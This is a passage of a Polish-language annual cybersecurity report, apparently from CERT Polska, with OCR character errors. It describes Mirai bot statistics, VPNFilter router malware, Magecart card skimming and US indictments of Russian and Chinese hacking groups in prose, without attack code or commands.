ostrzegac polskich uzytkownikéw internetu. Na koniec przedstawiamy tabele 8, ktéra ujmuje $red-

19 https://blog.avast.com/new-torii-botnet-threat-research
104 https://the-parallax.com/2018/09/28/new-botnet-torii-iot-abuse/
1% https://blog.avast.com/new-torii-botnet-threat-research
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nig liczbe botéw Miraia w polskich sieciach (niezaleznie od rodziny), obserwowanych przez zespot
CERT Polska w poszczegéinych miesigcach 2018 r. Srednia miesieczna liczba aktywnych botéw
utrzymywata sie mniej wiecej na poziomie ponizej 1 000 i jest to staty putap, obserwowany od potowy

2017 r.

Styczen 818

Luty 895

Marzec 829

Kwiecien 768

Maj 791
Czerwiec 1117

Lipiec 946

Sierpien 918
Wrzesien 1036

Pazdziernik 1171
Listopad 1074

Grudzien 896

Srednia liczba w ujeciu miesiecznym 938

Tabela 8. Srednia dzienna liczba botéw Miraia (wszystkie rodziny) w polskich sieciach w ujeciu miesiecznym.
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Podsumowanie

Szybko rosngcy rynek urzadzen loT stwarza wiele okazji do naduzy¢. Po pierwsze, urzadzenia loT
to nierzadko “nisko wiszgce owoce” (ang. low-hanging fruits) w hierarchii atakowanych celéw, co
pozwala na wykorzystanie luk nawet przez atakujgcych o niewielkich umiejetnosciach. Z powodu
niskiego standardu bezpieczenstwa sg stosunkowo tatwe do eksploitaciji i przejecia.

Wiele urzadzen loT (np. kamery IP, routery czy termostaty) dziata praktycznie bez przerwy. Sg rzad-
ko monitorowane, a zainteresowanie witasciciela ich utrzymaniem konczy sie w momencie podtgcze-
nia urzgdzenia do sieci. Dlatego tez stanowig takomy kasek dla osoby o ztych intencjach. Poza tym
koszt przejecia urzgdzenia loT jest znacznie nizszy, niz koszt i naktad pracy potrzebny do przejecia
dobrze zabezpieczonego serwera. A przeciez np. w celu przeprowadzenia ataku DDoS, trzeba naj-
pierw mie¢ mozliwo$¢ zbudowania i kontroli pewnej infrastruktury, ztoZzonej z wielu takich elementéw.

Z drugiej strony, niektorzy eksperci z firm analizujgcych malware IoT przewiduja, ze rozwdj tego
segmentu ztosliwego oprogramowania bedzie podazat w strone coraz bardziej wyrafinowanych, mo-
dularnych rozwigzan, mozliwych do konfiguracji w locie w celu dostosowania funkcjonalnosci pod
katem réznych rodzajow atakow'?®. Niektorzy twierdza ponadto, ze trend bedzie ewoluowat w strone
urzagdzen o coraz wiekszej mocy obliczeniowej, aby zaprzac je do realizacji zadan, ktére jej wyma-
gaja, np. do kopania kryptowalut.

Pozostaje pytanie, czy da sie zmieni¢ obecny obraz sytuacji, albo chociaz w jakim$ stopniu zmniej-
szy¢ badz zahamowac liczbe infekcji? By¢ moze, wobec pasywnej postawy producentéw urzadzen
loT w kwestii cho¢by aktualizacji firmware’u, rozwigzaniem mogtyby by¢ regulacje prawne. Dobrym
przyktadem moze by¢ lokalne prawo stanu Kalifornia, przyjete we wrzesniu 2018 r. Prawo to nakta-
da na producentéw urzadzen sprzedawanych i podtgczanych do sieci w tamtym rejonie obowigzek
uzywania unikalnego inicjalnego hasta dla kazdego egzemplarza (nadanego przez producenta lub
wybieranego przez uzytkownika)'’’. Inne proponowane regulacje prawne, ktére mozna by wprowa-
dzi¢, to np. okreslenie daty waznosci firmware’u, aby uzytkownik wiedziat, do kiedy moze liczy¢ na
wsparcie producenta, czy choéby udostepnienie dokumentacji lub zapewnienie mozliwosci samo-
dzielnej aktualizacji albo wgrania alternatywnego oprogramowania na urzadzenie, juz po zakoncze-
niu okresu wsparcia przez producenta. Czas pokaze, czy tego typu rozwigzania przyczynig sie do
zwiekszenia bezpieczenstwa w dynamicznie rozwijajgcym sie swiecie urzadzen loT.

VPNFilter

Zespot Cisco Talos, zajmujgcy sie analitykg zaawansowanych zagrozen, w potowie 2018 r. opubli-
kowat informacje o nowym rodzaju ztosliwego oprogramowania, atakujagcym urzgdzenia sieciowe
SOHO (Small Office, Home Office). Pierwsze statystyki byly niepokojgce: zainfekowano co najmniej
pot miliona urzgdzen w 54 krajach'®. Celem ataku byt sprzet firm ASUS, D-Link, Huawei, Linksys,

1% https://blog.avast.com/iot-predictions
197 https://leginfo.legislature.ca.gov/faces/bill TextClient.xhtml?bill_id=201720180SB327
1% https://blog.talosintelligence.com/2018/05/VPNFilter.html
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Mikrotik, Netgear, TP-Link, Ubiquiti, UPVEL, QNAP oraz ZTE. Interesujace, ze cyberprzestepcy wy-
korzystujgcy VPNFilter utrzymywali dwie infrastruktury: pierwszg przeznaczong tylko do przejetych
urzadzen na terenie Ukrainy oraz drugg - dla reszty swiata. Badanie kodu ujawnito podobienstwa z
malware’m wykorzystywanym przez grupe BlackEnergy'®. Niestety, nie sg znane szczegoty uzyska-
nia wstepnego dostepu do urzgdzeh - prawdopodobnym wektorem sg publicznie znane podatnosci
na urzgdzenia w/w producentow.

Atak na urzadzenie sktadat sie z trzech etapdéw: pierwszy krok stuzyt zapewnieniu persystencji na
urzgdzeniu oraz pobraniu pliku wykonywalnego etapu drugiego - jak w klasycznym loaderze. Mody-
fikacja pamieci NVRAM oraz wpis do crontaba zapewniaty dostepno$é malware’u po restarcie.

Loader przygotowano w wersjach pod rézne architektury sprzetowe. Deweloperzy malware’u w cie-
kawy sposdb zapewnili aktualizacje list serweréw Command & Control (C2): zainfekowane urzadze-
nie pobierato zdjecie z serwisu Photobucket, ktére w danych EXIF zawierato informacje o lokalizaciji
zrobienia zdjecia, bedgcg w rzeczywistosci adresem IP. Jezeli operacja nie zakonhczyta sie powo-
dzeniem, wéwczas obrazek byt pobierany z dedykowanej domeny. Aby mieé¢ pewnos¢ komunikacji
z urzadzeniem, atakujgcy dodali jeszcze jeden mechanizm na wypadek, gdy opisane wyzej sposoby
zawiodg: otwarcie portu i nastuchiwanie komunikatu o odpowiedniej tresci.

Zainfekowane urzadzenia skanowaty sie¢ pod katem otwartych portéw 23, 80, 2000 oraz 8080,
celem dalszej propagacji infekcji na urzadzeniach producentéw Mikrotik oraz QNAP. Komunikacja
z serwerami zarzgdzajgcymi odbywata sie poprzez sie¢ Tor. Wiasciwe ztosliwe oprogramowanie
pobrane przez loader, umozliwiato wykonywanie dostarczonych polecenh, uszkodzenie urzgdzenia
poprzez wyzerowanie krytycznych obszaréw pamieci firmware oraz pobieranie plikéw z dostarczo-
nego adresu URL. Réwniez nazwa rodziny malware’u wzieta sie z operacji przeprowadzanych w tym
etapie, a doktadniej - tworzenia roboczych folderéw w lokalizacjach: /var/run/vpnfilterm oraz
/var/run/vpnfilterw.

Ziosliwe oprogramowanie swoje funkcjonalnosci implementowato w modutach. Najciekawszymi
z nich byt ssler, ktérego zadaniem byto wstrzykiwanie kodu JavaScript w ruch na porcie 80 oraz
pozyskiwanie z niego danych. Napastnik mogt zdefiniowac cele atakéw w postaci adreséow URL oraz
zrzucac z nich petfen ruch w postaci pliku binarnego. Komponent umozliwiat tez SSL Stripping, czyli
podmiane z https:// na http:// we wszystkich Zgdaniach o zasoby. Umozliwiato to odczyt komunika-
cji pomiedzy uzytkownikiem a serwerem (ktéra w zatozeniu miata byé zaszyfrowana) i pozyskanie
wrazliwych danych. Przestepcy szczegdlng uwage przywigzywali do zgdah POST wysytanych do
accounts.google.com, ktére byty zrzucane niezaleznie od definicji celéw ataku.

Przechwytywanie ruchu sieciowego do serwiséw webowych, wykorzystywanych w codziennej pra-
cy, byto tylko dodatkiem do modutu 0 nazwie ps, specjalizowanego pod katem pozyskiwania ruchu
protokotu Modbus, wykorzystywanego w srodowiskach automatyki przemystowej. Z zatozenia ten
sposéb komunikacji nie jest szyfrowany i wspiera jedynie podstawowe metody uwierzytelniania. Nie
wiadomo, czy dziatalno$¢ VPNFilter skupiata sie tylko na pozyskiwaniu ruchu, a nie interakcji z urzg-
dzeniami wykorzystujacymi Modbus.

Po wakacjach Talos podzielit sie dodatkowymi informacjami na temat kolejnych modutéw odkrytych

podczas atakow:

*  hipx - przekierowywanie oraz inspekcja ruchu HTTP

* ndbr - klient SSH

* nm - skaner sieciowy

* neffilter - modut stuzgcy do przeprowadzania atakéw DDoS

* portforwarding - przekierowywanie ruchu sieciowego do serweréw bedacych pod kontrolg
botmastera

* socksbproxy - funkcjonalnos¢ proxy SOCKS5 na urzadzeniu

* tepvpn - VPN poprzez potgczenie zwrotne TCP

19 https://en.wikipedia.org/wiki/BlackEnergy
"0 https://pl.wikipedia.org/wiki/Exchangeable_Image_File_Format
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Dziatanie VPNFilter zostato znaczgco ograniczone poprzez blokowanie domen oraz adreséw IP
infrastruktury nalezgcej do przestepcow. Stopien skomplikowania zto$liwego oprogramowania, infra-
struktury, funkcjonalno$¢ modutéw oraz skala infekcji wskazujg na wysoce zmotywowanego aktora,
potencjalnie dziatajgcego na zlecenie stuzb specjalnych.

Magecart

Kradzieze kart pfatniczych sg jednym z najczesciej popetnianych przestepstw elektronicznych.
Przestepca nie musi dokonywac fizycznej kradziezy. Wystarczy, ze skopiuje zdalnie zawarto$¢ pa-
ska magnetycznego lub chipu karty i tym sposobem zdobedzie informacje potrzebne do dokonania
transakcji.

Urzadzenia pozwalajgce na wydobycie danych z karty nazywane sg skimmerami. Standardowo
montuje sie je w bankomatach jako naktadke na slot, do ktérego wsuwane sg karty. W celu ustalenia
pinu, przestepcy dodatkowo montujg naktadki na klawiatury pinpad lub odpowiednio wykadrowane,
ukryte kamery.

Odrdznienie tego typu urzadzenia od oryginalnego wyposazenia maszyny jest bardzo trudne.

Rysunek 59. Fizyczny skimmer bankomatowy. (Fot. Northwest Community Credit Union)

Inng popularng metodg pozyskiwania danych jest uzycie ztosliwego oprogramowania, ktérym in-
fekowane sg komputery lub urzgdzenia mobilne. Malware tego typu moze zapisywac informacje o
wcishietych klawiszach, przechwytywac dane wprowadzone do formularzy osadzonych na stronach
internetowych lub stale przeczesywaé¢ pamie¢ podreczng w poszukiwaniu ciggéw odpowiadajgcym
numerom kart.
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Obie metody nie sg jednak doskonate. Z jednego przejetego komputera przestepca nie jest w stanie
pozyskac wiecej niz kilku kart. Realny stosunek wykradzionych rekordéw do ilosci zainfekowanych
stacji roboczych wynosi znacznie ponizej 1. Wynika to z m.in. faktu krotkiego zycia ztosliwego opro-
gramowania - w okresie od infekcji do neutralizacji zagrozenia, ofiara moze nie mie¢ potrzeby uzy-
wac karty. Sam proces infekcji jest czasochtonny i caty czas trzeba go udoskonalaé.

Z kolei ataki na bankomaty dajg mozliwosci wiekszego zarobku. Oprécz nowoczesnych zabezpie-
czen stosowanych w kartach i dziesigtkbw metod wykrywania skimmerow, kradziez jest trudna do
zrealizowania z jeszcze jednego powodu: konieczno$ci fizycznej interakcji z bankomatem. Przestep-
ca musi opusci¢ swojg strefe komfortu - cyfrowy $wiat, w ktérym czuje sie bezpiecznie. Urzadzenie
trzeba zainstalowaé, a takze zaleznie od sposobu dziatania, po pewnym czasie przenie$¢ zapisane
na nim dane na inny no$nik.

W 2018 nasilit sie trend, ktory obserwujemy od 2015 roku. Zjawisko okrzykniete mianem ,Magecart”
jest kompilacjg tych dwdéch sposobdéw kradziezy. W tym wypadku réwniez przeprowadzony zostaje
atak, jednak nie na pojedyncze stacje robocze uzytkownikow. Celem sprawcow jest serwer, na kto-
rym znajduje sie jedna ze stron internetowych, umozliwiajgcych ptatnosc¢ kartg - np. serwis aukcyjny
lub sklep. W przypadku Magecart wykorzystywane sg podatnosci w starszych wersjach platformy
Magento a takze w wielu wtyczkach do tej platformy tworzonych przez rozmaitych autoréw, czesto
juz niewspieranych.

Atakujgcy po przetamaniu zabezpieczen, umieszcza dodatkowy skrypt na stronie z finalizacjg za-
moéwienia. Jezeli znajduje sie tam formularz do wprowadzenia danych karty ptatniczej, dane z niego
wysytane sg dodatkowo na serwer kontrolowany przez przestepcow.

Rysunek 60. Fragment kodu cyfrowego skimmera Magecart.

Magecart to zaréwno nazwa grupy oséb zamieszanych w proceder, jak i samej techniki kradziezy.
Na podstawie réznic w kodzie, a takze wykorzystywania odmiennych technik monetyzaciji, jeste$my
w stanie wydzieli¢ przynajmniej kilka niezaleznych podgrup korzystajgcych z tego modus operandi.

Atakujgcy z reguty masowo i w sposob automatyczny przetamywali zabezpieczenia sklepdw. Najbar-
dziej wptywowe grupy celowaty w strony z wysokim ruchem uzytkownikéw, co najprawdopodobnie;j
wymagato duzej ilosci dodatkowej pracy manualne;.

Przestepcy zarabiajg odsprzedajgc wykradzione dane innym przestepcom lub tez wlasnorecznie
dokonujgc zakupow przy uzyciu kart.

NASK



Rysunek 61. Dane wykradzione z BritishAirways wystawione na sprzedaz, (Zzrodfo: RiskIQ).

Jedna z grup stworzyta ztozong sie¢, ktéra umozliwiata monetyzacje. Za pomocg skradzionych kart
kupowali gtéwnie drogg elektronike o niewielkich gabarytach. Przedmioty odbierali obywatele USA
(osoby specjalnie werbowane w tym celu, tzw. ,muty”) i odsytali je dalej do Europy Wschodniej. W
celu uwiarygodnienia procederu, przestepcy zatozyli nawet strone firmy zajmujgce;j sie tzw. reship-
pingiem, czyli ustugg posrednictwa przy przesytaniu paczek, przez co zatrudnione przez nich osoby
myslaty, ze wykonujg legalng prace.

Rysunek 62. Oferta pracy majgca na celu zwerbowanie nieswiadomych oséb w roli ,muta”, (zrédfo: RiskIQ).

Zjawisko Magecart przyciggneto wiekszg uwage opinii publicznej dopiero po ataku na serwis Tic-
ketmaster — popularnego dystrybutora biletéw na wydarzenia kulturalne. Przestepcy nie wtamali sie
tam bezposrednio. Zmodyfikowali skrypty jednej z ustug, z ktorej korzystat punkt sprzedazowy firmy
Inbenta — dostawcy rozwigzan inteligentnego chatu. Tego typu incydenty okresla sie mianem ataku
na tancuch dostaw (ang. supply chain attack). W tym wypadku zawinit przede wszystkim zespét
bezpieczenstwa Inbenta, poniewaz to w ich systemach wystepowata luka.

Co ciekawe, trzy inne witryny firmy Ticketmaster zostaty zainfekowane w ten sam sposob, przy czym
atakujgcym udato sie skompromitowac¢ zupetnie innego dostawce ustug — SociaPlus.

Z ustug tych dwéch platform korzystato w tamtym czasie tysigce sklepow, jednak atakujgcy postano-
wili uderzy¢ jedynie w najwigkszych graczy na rynku.

Do grona zewnetrznych dostawcow, ktorzy ulegli wlamywaczom, nalezg firmy zaprezentowane
w tab. 9. ™

"1 Zrédto: https://cdn.riskiq.com/wp-content/uploads/2018/11/RisklQ-Flashpoint-Inside-MageCart-Report.pdf
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Nazwa firmy

Conversions on Demand Grudzieh 2016 Kwiecien 2017
Annex Cloud Grudzien 2017 Lipiec 2018
SAS Net Reviews Kwiecien 2017 Lipiec 2017
flashtalking Lipiec 2018 Sierpien 2018
SociaPlus Grudzien 2017 Czerwiec 2018
Inbenta Luty 2018 Czerwiec 2018
PushAssist Czerwiec 2018 Sierpien 2018
Clarity Connect Maj 2017 Lipiec 2018
ShopBack Styczen 2018 Maj 2018
CompanyBe Maj 2018 Wrzesien 2018
Feedify Sierpien 2018 Wrzesien 2018
Shopper Approved Wrzesieh 2018 Wrzesien 2018

Tabela 9. Lista firm zaatakowanych przez Magecart.

Amerykanskie oskarzenia przeciwko grupom APT

Rok 2018 byt wyjgtkowy pod wzgledem ilosci, opublikowanych przez amerykanski Departament
Sprawiedliwosci, aktow oskarzenia w sprawach zwigzanych z nielegalnymi dziataniami w interne-
cie przeciwko Stanom Zjednoczonym, dokonanymi przez organizacje powigzane bgdz finansowane
przez rzady obcych panstw. Sg one szczegdlne ze wzgledu na bezposrednie wskazanie sprawcow
odpowiedzialnych za wiele z najgto$niej komentowanych w ostatnich latach atakéw hakerskich oraz
akcji dezinformacyjnych.

Akcje dezinformacyjne “fabryki trolli”

Po doniesieniach amerykanskich stuzb specjalnych o mozliwym wptywie Rosji na wynik wyboréw
prezydenckich w 2016 r."'2, do wyjasnienia tej sprawy w Departamencie Sprawiedliwo$ci w maju
2017 r. powotano specjalng grupe dochodzeniowo-$ledczg pod przewodnictwem bytego dyrekto-
ra FBI, Roberta Muellera'3. Posréd wszystkich sledztw zakonczonych wydaniem aktu oskarzenia
w 2018 r."'%, dwa z nich dotyczyty rosyjskich atakéw hakerskich oraz przeprowadzanych przez nich
akcji dezinformacyjnych w internecie.

"2 https://www.dni.gov/files/documents/ICA_2017_01.pdf
13 https://www.justice.gov/opa/pr/appointment-special-counsel
"4 https://lwww.justice.gov/sco
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W lutym 2018 r. grupa Muellera oskarzyta trzy rosyjskie firmy, w tym “Internet Research Agency” oraz
powigzanych z nimi 12 os6b™".

Rysunek 63. Poczatek aktu oskarzenia przeciwko Internet Research Agency.

Akt oskarzenia zarzuca firmie oraz jej pracownikom przeprowadzanie regularnych akcji dezinforma-
cyjnych poczgwszy juz od 2014 r. Wielu bytych pracownikéw firmy chetnie wypowiadato sie o szcze-
gotach pracy w amerykanskich mediach. Jeden z nich w wywiadzie z radiem WTOP"® przyznat, ze
w firmie pracowato wéwczas ponad 600 oséb w 12-godzinnych zmianach. Kazdego ranka pracowni-
cy mieli otrzymywac polecenie pisania w internecie komentarzy zgodnych ideowo z przedstawionym
na dany dzieh planem dziatania. Byty one pochlebne wobec dziatan rosyjskiego rzgdu i zamieszcza-
ne zaréwno na rosyjskojezycznych portalach, jak i w zagranicznych mediach spotecznosciowych,
w tym na Facebooku. Wedtug aktu oskarzenia, w czasie trwania kampanii wyboréw prezydenckich
w 2016 r., wykorzystywano zaréwno falszywe jak i przejete profile amerykanskich aktywistow, grup
oraz stron. Celem byto ostabienie zaufania amerykanskich obywateli do procesu wyborczego, po-
litykow oraz rzadu Stanéw Zjednoczonych. W poézniejszym okresie trwania kampanii pracownicy
Internet Research Agency mieli wspiera¢ jednego z kandydatow.

Firma Internet Research Agency finansowana jest przez oskarzonego w akcie Jewgienija Prigozyna,
rosyjskiego biznesmena, ktéry ma bliskie zwigzki z Wiadimirem Putinem"”.

Pracownicy firmy byli do zadania dobrze przygotowani - pisali komentarze tylko podczas dnia
w amerykanskich strefach czasowych, uzywali do tego serweréw posredniczgcych znajdujgcych sie
w Stanach Zjednoczonych. Byli takze bardzo dobrze zorientowani w niuansach prowadzenia kam-
panii wyborczych.

Amerykanskie media oraz byli pracownicy Internet Research Agency'® okreslajg firme mianem “fa-
bryki trolli”. A pojecie “trolli z Olgino”, czyli dzielnicy Sankt Petersburga, w ktérej znajdowata sie
"fabryka”, w rosyjskim slangu stato sie synonimem zorganizowanych dziatan rosyjskiej propagandy
w internecie.

115 https://www.justice.gov/file/1035477/download

"8 https://wtop.com/j-j-green-national/2018/09/tale-of-a-troll-inside-the-internet-research-agency-in-russia/
"7 https://en.crimerussia.com/gromkie-dela/navalny-asks-fsb-to-investigate-putin-s-cook/

8 https://www.nytimes.com/2018/02/18/world/europe/russia-troll-factory.html

% https://en.wikipedia.org/wiki/Internet_Research_Agency#Origin
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Rysunek 64. Jedna z siedzib Internet Research Agency, fot. Mstyslav Chernov/Associated Press.

Gtéwna ksiegowa firmy, Jelena Husiajnowa, po dochodzeniu FBI zostata oskarzona we wrzes$niu
2018 r. o dokonanie oszustwa wobec Stanéw Zjednoczonych'®, Husiajnowa miata zarzgdzac¢ bu-
dzetem w wysokosci przekraczajgcej nawet milion dolaréw miesiecznie. Akt oskarzenia zdradza
réwniez nazwe operacji, pod ktdrg prowadzone byly dziatania dezinformacyjne: “Projekt Lachta”.

Dziatania APT28 wobec Krajowego Komitetu Partii Demokratycznej

W lipcu 2018 r. grupa Muellera doprowadzita do oskarzenia 12 oficeréw rosyjskiego wywiadu woj-
skowego (“GRU”) z jednostek o numerach 26165 i 74455 w zwigzku z ich dziataniami podczas
wyboréw prezydenckich w 2016 r'2'. Miaty one polega¢ przede wszystkim na nielegalnym pozyski-
waniu réznego rodzaju dokumentéw i materiatéw, ktére nastepnie byty publikowane w odpowiednich
momentach, aby jak najbardziej wptyngé na amerykanska opinie publiczng.

Rysunek 65. Fragment aktu oskarzenia przeciwko GRU.

120 hitps://www.justice.gov/opa/press-release/file/1102316/download
21 https://www.justice.gov/file/1080281/download
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Akt oskarzenia w sposob jednoznaczny przypisuje atrybucje atakéw (ktére opisywaliSmy w rapor-
cie za rok 2016'??) na Krajowy Komitet Partii Demokratycznej i jej szefa, Johna Podeste, z ktérego
prywatnej skrzynki e-mailowej wykradziono duzg ilo¢ wrazliwych dokumentéw. Sledczy doktadnie
opisujg dziatania podjete przez poszczegélnych oficeréw oraz uzywane przez nich metody dziata-
nia i narzedzia (w tym ztosliwe oprogramowanie). Opisuje takze przebieg kampanii phishingowych
przeprowadzanych na pracownikach oraz sposéb infiltracji i metod ukrywania swoich dziatah w in-
frastrukturze komitetu Hillary Clinton.

Dotychczas firmy zajmujgce sie cyberbezpieczenstwem ataki na Krajowy Komitet Partii Demokra-
tycznej przypisywaty dwém grupom, ktérym nadano przydomek “Fancy Bear” / “APT28” oraz “Cozy
Bear” / “APT29”. Cho¢ juz wczesniej podejrzewano “APT28” o zwigzki z rosyjskim wywiadem woj-
skowym, dochodzenie FBI zwienczone postawionym aktem oskarzenia jest pierwszg tak zdecydo-
wang prébg zidentyfikowania atakujgcych.

Sledczy opisujg réwniez metody publikacji skradzionych dokumentéw. Odbywaty sie one za pomocg
zatozonej przez przestepcow strony internetowej DCLeaks.com oraz fatszywej persony “Guccifer
2.0”. Strona “DCLeaks” miata byé zarzgdzana i promowana przez fatszywe profile amerykanskich
aktywistow. “Guccifer 2.0” miat z kolei stuzy¢ zrzuceniu odpowiedzialnosci za ataki na dziatajgcego
w pojedynke rumunskiego hakera. Chetnie udzielat on przez internet wypowiedzi réznym mediom,
ktore juz w czerwcu 2016 r. zweryfikowaty, ze rumunski haker musi uzywac internetowych translato-
réw do wypowiadania sie w swoim “ojczystym” jezyku'?, a w swoich notkach na blogu uzywa emoti-
kon zapisywanych w sposéb specyficzny dla uzywajgcych rosyjskiego uktadu klawiatury.

Rysunek 66. Blog Guccifera 2.0.

122 https://www.cert.pl/PDF/Raport_CP_2016.pdf#page=35
123 https://motherboard.vice.com/en_us/article/d7ydwy/why-does-dnc-hacker-guccifer-20-talk-like-this
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Dziatania APT28 wobec agencji antydopingowych

W 2016 r. bylismy Swiadkami atakéw hakerdw i prob dyskredytacji dwoch miedzynarodowych in-
stytucji odpowiedzialnych za zwalczanie dopingu w sporcie: WADA, czyli Swiatowej Agencji Anty-
znani wéwczas sprawcy za pomocg atakéw phishingowych przejeli dane dostepowe do systemu
wspomagajgcego przeprowadzanie kontroli antydopingowych (ADAMS). Jako jedne z pierwszych
przejete zostato m.in. konto Juliji Rusanowej, sygnalistki nieprawidtowos$ci dopingowych w rosyjskiej
reprezentacji olimpijskiej. Ostatecznie WADA przyznata, ze wyciekty dane przynajmniej 41 zawodni-
kow'>. Wykradzione zostaty réwniez dane z bazy danych strony internetowej CAS. W koncu na pro-
filu twitterowym o nazwie Anonymous Poland (@anpoland) opublikowane zostaty dane redaktorow
strony CAS. Pojawita sie takze zapowiedz publikacji danych zawodnikéw, ktore ostatecznie ukazaty
sie na stronie “fancybear.net”. Upublicznione dokumenty zawieraty dane medyczne dotyczgce wyni-
kéw kontroli antydopingowych oraz wyjgtkowe dopuszczenia w stosowaniu konkretnych substanc;ji.
Zaatakowane miaty by¢ tez strony internetowe amerykanskiej reprezentacji olimpijskiej (teamusa.
org) oraz Miedzynarodowego Komitetu Paraolimpijskiego (paralympic.org)'#.

Rysunek 67. Publikacja danych z wycieku ze strony CAS.

Co ciekawe, strona “fancybear.net” miata sie kojarzy¢ wtasnie z grupg Fancy Bear / APT28. Bada-
cze z bloga “Jump ESP, jump!” sugerowali, ze byt to jeden z elementéw, ktéry miat zdyskredytowaé
Rosje'2.

Amerykanie te akcje réwniez przypisali rosyjskiemu wywiadowi wojskowemu. W akcie oskarzenia,
ztozonym w pazdzierniku 2018 r.'?’, na ponad 40 stronach doktadnie opisujg dziatania oficeréw GRU
przeprowadzane od 2014 r. do co najmniej maja 2018 r. Na liscie celéw rosyjskich hakeréw, oprocz
WADA i CAS, znalazly sie réwniez: Amerykanska Agencja Antydopingowa (USADA), Kanadyjskie
Centrum dla Etyki w Sporcie (CCES), Miedzynarodowe Stowarzyszenie Federacji Lekkoatletycz-
nych (IAAF), FIFA oraz organizacje niezwigzane ze sportem, takie jak: firma energetyki jagdrowej We-
stinghouse Electric Company w USA, Organizacja ds. Zakazu Broni Chemicznej oraz szwajcarskie
Laboratorium Chemiczne w Spiez, ktére badato srodki chemiczne wykorzystane w ataku w Salisbury
w marcu 2018 r.

Wedtug amerykanskich sledczych ataki na organizacje zwigzane ze zwalczaniem dopingu miaty
na celu ich dyskredytacje w oczach opinii publicznej. Dziato sie to w czasie trwania skandalu do-
tyczacego dopingu w rosyjskiej reprezentacji olimpijskiej'?®. W lipcu 2016 r. WADA zarekomendo-
wata Miedzynarodowemu Komitetowi Olimpijskiemu (MKOI) niedopuszczenie do letnich igrzysk
w Rio de Janeiro catej rosyjskiej reprezentacji. Kilka dni p6zniej CAS oddalit apelacje w sprawie
dyskwalifikacji kilkudziesieciu rosyjskich zawodnikoéw. Na poczatku sierpnia 2016 r. MKOI dopuscit

124 https://www.wada-ama.org/en/media/news/2016-09/cyber-hack-update-data-leak-concerning-4 1-athletes-from-13-countries-and-17

125 hitp://web.archive.org/web/20160908145346/https://twitter.com/anpoland

126 hitps://webcache.googleusercontent.com/search?q=cache:HX8PZRnMOwY J:https://jumpespjump.blogspot.com/2016/10/why-i-believe-wada
-was-not-hacked-by.html

127 hitps://en.wikipedia.org/wiki/Doping_in_Russia#August_to_September_2016

128 https://en.wikipedia.org/wiki/Internet_Research_Agency#Origin
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rosyjskg reprezentacje, ale bez 111 z 389 zgtoszonych zawodnikéw. Z kolei Miedzynarodowy Komitet
Paraolimpijski zdyskwalifikowat catg rosyjska reprezentacje paraolimpijska, a odwotanie od tej decy-
zji wkrétce odrzucit CAS.

Akt oskarzenia opisuje metody, $rodki techniczne (zto$liwe oprogramowanie, w tym “XAgent’
i “XTunnel”) i fatszywe profile aktywistow, za pomocg ktoérych rozpowszechniano skradzione infor-
macje. Wsrdd nich znalazta sie réwniez wspomniana wczesniej persona sugerujgca udziat w ata-
kach polskich hakeréw: “Anonymous Poland”. Uzywano jej pdzniej do publikacji danych z innych
wyciekéw, w tym probie pogorszenia stosunkéw polsko-ukraifskich. Szczegétowo opisalismy je
w raporcie za 2017 r.'?°

Podobnej atrybucji dokonato takze brytyjskie Narodowe Centrum Cyberbezpieczehstwa w informac;ji
prasowej z pazdziernika 2018 r.130

Rysunek 68. Doktadny opis ataku na jednego z pracownikow WADA.

Szpiegostwo przemystowe w wydaniu APT10

Ostatni analizowany przez nas akt oskarzenia z grudnia 2018 r."3! stawia zarzuty dwém obywate-
lom Chin, pracownikom firmy Huaying Haitai, powigzanej z jednym z chinskich ministerstw. Byli to
cztonkowie grupy APT10, zajmujgcej sie gldwnie szpiegostwem przemystowym na rzecz chinskich
agencji wywiadowczych.

Choc¢ w akcie oskarzenia nie wymieniono z nazwy konkretnych firm czy instytucji, z ktérych zostaty
wykradzione wrazliwe informacje (jako wyjatek podajgc wsréd ofiar NASA oraz jej laboratorium JPL),
wskazuje sie, ze przez ostatnie 12 lat APT10 zaatakowato ponad 45 amerykanskich firm i instytuciji
z nastepujgcych branz: lotniczej, technologii satelitarnych oraz morskich, automatyki przemystowe;,
dostaw dla przemystu motoryzacyjnego, narzedzi laboratoryjnych, bankowosci i finansow, telekomu-
nikacyjnej i elektroniki konsumenckiej, wytwarzania mikroprocesorow, ustug IT, doradztwa, wytwa-

129 https://www.cert.pl/PDF/Raport_CP_2017.pdf#fpage=40
130 hitps://www.ncsc.gov.uk/news/reckless-campaign-cyber-attacks-russian-military-intelligence-service-exposed
31 https://www.justice.gov/file/1121706/download
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rzania opakowan i narzedzi medycznych, medycznej, technologii biomedycznych, farmaceutycznej,
wydobyweczej i paliwowej. Atakowane byly réwniez firmy i instytucje z kilkunastu innych krajow.

Sledztwo prowadzone byto przez FBI w bliskim porozumieniu z jej wojskowym odpowiednikiem -
DCIS, poniewaz najpowazniejszym badanym atakiem APT10 w ostatnim czasie byto wtamanie do
systemow komputerowych amerykanskiej marynarki wojennej. Przestepcy wykradli wrazliwe dane
osobowe ponad 100 tysiecy amerykariskich zotnierzy oraz pracownikow cywilnych.

Rysunek 69. Fragment plakatu FBI.

Podsumowanie

Warta podkreslenia jest duza szczegdtowos¢ opisdw przeprowadzonych atakéw oraz atrybucja na
poziomie dziatan konkretnych oséb, Zzotnierzy i oficeréw. Znane sg réwniez ich personalia, aliasy,
stopnie oraz miejsca pracy lub stuzby. Mozna domniemywaé, ze amerykarnska prokuratura poswieci-
ta bardzo duzo $rodkdow, aby postawic zarzuty, a nastepnie postarac sie o wydanie nakazéw areszto-
wania 0s6éb, ktére najprawdopodobniej ze wzgledu na swoje obecne miejsca pobytu nigdy nie stang
przed amerykanskim sagdem.

Przeanalizowane akty oskarzen sg natomiast bardzo wyraznym ostrzezeniem przed tymi, ktérzy do-
konujg atakéw hakerskich oraz przeprowadzajg akcje dezinformacyjne przeciwko amerykanskiemu
rzgdowi, jej firmom, obywatelom i organizacjom. Akty oskarzenia sg dowodem na to, ze wszystkie
ataki zostang dokfadnie zbadane, a ich sprawcy zdemaskowani.

Wszystkie omoéwione akty oskarzen dostepne sg do pobrania pod nastepujgcymi adresami:

- https://www.justice.gov/file/1035477/download (przeciwko “fabryce trolli”),

- https://www.justice.gov/file/1102316/download (oskarzenie ksiegowej “fabryki trolli”),

- https://www.justice.gov/file/1080281/download (w sprawie wplywu na wybory),

- https://www.justice.gov/file/1098481/download (w sprawie atakéw na WADA/CAS),

- https://www.justice.gov/file/1121706/download (w sprawie szpiegostwa przemystowego).
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Atak na Zimowe Igrzyska Olimpijskie (Olympic Destroyer)

Jeszcze przed rozpoczeciem Zimowych Igrzysk Olimpijskich w Korei Potudniowej w 2018 roku, firma
